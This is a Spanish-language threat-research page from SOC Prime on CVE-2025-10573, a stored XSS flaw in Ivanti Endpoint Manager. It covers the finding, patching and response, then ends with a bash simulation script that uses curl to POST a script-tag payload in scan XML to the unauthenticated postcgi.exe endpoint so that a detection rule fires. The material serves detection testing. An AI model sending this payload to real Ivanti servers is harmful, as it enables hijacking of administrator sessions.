SOC Prime Bias: Crítico

10 Dic 2025 19:54

CVE-2025-10573: Vulnerabilidad de XSS almacenado no autenticado en Ivanti EPM (Corregida)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
CVE-2025-10573: Vulnerabilidad de XSS almacenado no autenticado en Ivanti EPM (Corregida)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Ivanti Endpoint Manager (EPM) contiene una vulnerabilidad de cross-site scripting almacenado que permite a un atacante no autenticado inyectar JavaScript malicioso en los datos de escaneo de dispositivos. Cuando esta carga útil se muestra en el panel de control web de la consola de administración, se puede usar para secuestrar la sesión de un administrador. El problema está rastreado como CVE-2025-10573 y tiene un puntaje CVSS de 9.6.

Investigación

Rapid7 analizó una implementación de Ivanti EPM 11.0.6 Core en Windows Server 2022 y descubrió que una solicitud POST elaborada a /incomingdata/postcgi.exe con campos maliciosos key=value provoca que el JavaScript sea almacenado y luego ejecutado en la UI de administración. El comportamiento inseguro del binario CGI postcgi.exe, que escribe archivos de escaneo fuera de la raíz web, permite esta ruta de inyección.

Mitigación

Ivanti lanzó un parche el 09-12-2025, y actualizar a Ivanti EPM versión 2024 SU4 SR1 elimina la vulnerabilidad. Rapid7 proporcionará un chequeo de vulnerabilidad autenticado para los clientes de Exposure Command, InsightVM y Nexpose para ayudar a identificar instalaciones afectadas.

Respuesta

Las organizaciones deben desplegar inmediatamente la actualización 2024 SU4 SR1, restringir el acceso no autenticado al API /incomingdata y monitorear los registros del servidor web por solicitudes POST dirigidas a postcgi.exe. También deben revisar las sesiones de administrador en busca de signos de secuestro y rotar cualquier credencial que pueda haber sido comprometida.

Flujo de Ataque

Todavía estamos actualizando esta parte. Regístrate para recibir notificaciones

Notifícame

Ejecución de Simulación

Prerequisito: El Chequeo Previo de Telemetría y Línea de Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa de Ataque y Comandos:
    Un atacante, habiendo descubierto que el endpoint de escaneo de Ivanti EPM no está autenticado, elabora una carga útil de escaneo malicioso embebiendo una <script> etiqueta que muestra una alerta (representando el secuestro de sesión). El atacante utiliza curl para enviar esta carga útil mediante POST, mimetizando un envío legítimo de escaneo de dispositivo. Dado que la carga útil coincide con la cadena exacta que la regla vigila, el SIEM debería generar una alerta.

  • Script de Prueba de Regresión:

    #!/bin/bash
    # -------------------------------------------------
    # Simular XSS almacenado contra API de escaneo de Ivanti EPM
    # -------------------------------------------------
    
    # URL objetivo (ajustar host según sea necesario)
    TARGET="https://ivanti.example.com/incomingdata/postcgi.exe?prefix=ldscan&suffix=.scn&name=scan"
    
    # Carga maliciosa – exactamente la cadena que la regla espera
    PAYLOAD="<script>alert('La cuenta de administrador ha sido secuestrada')</script>"
    
    # Cuerpo XML completo que Ivanti EPM espera (simplificado)
    XML_BODY="<scan><device><id>99999</id><notes>${PAYLOAD}</notes></device></scan>"
    
    # Enviar la solicitud
    curl -k -X POST "$TARGET" 
      -H "Content-Type: application/xml" 
      -d "$XML_BODY"
    
    echo "Escaneo malicioso enviado."
  • Comandos de Limpieza:
    Los datos de escaneo persisten en la base de datos de Ivanti EPM; la eliminación típicamente requiere un administrador autenticado. Para fines de prueba, el paso de limpieza se limita a eliminar el archivo de prueba de cualquier captura de registro local.

    #!/bin/bash
    # Limpieza simple: eliminar registros temporales de curl (si hay)
    rm -f /tmp/curl_log_*
    echo "Artefactos de prueba local eliminados."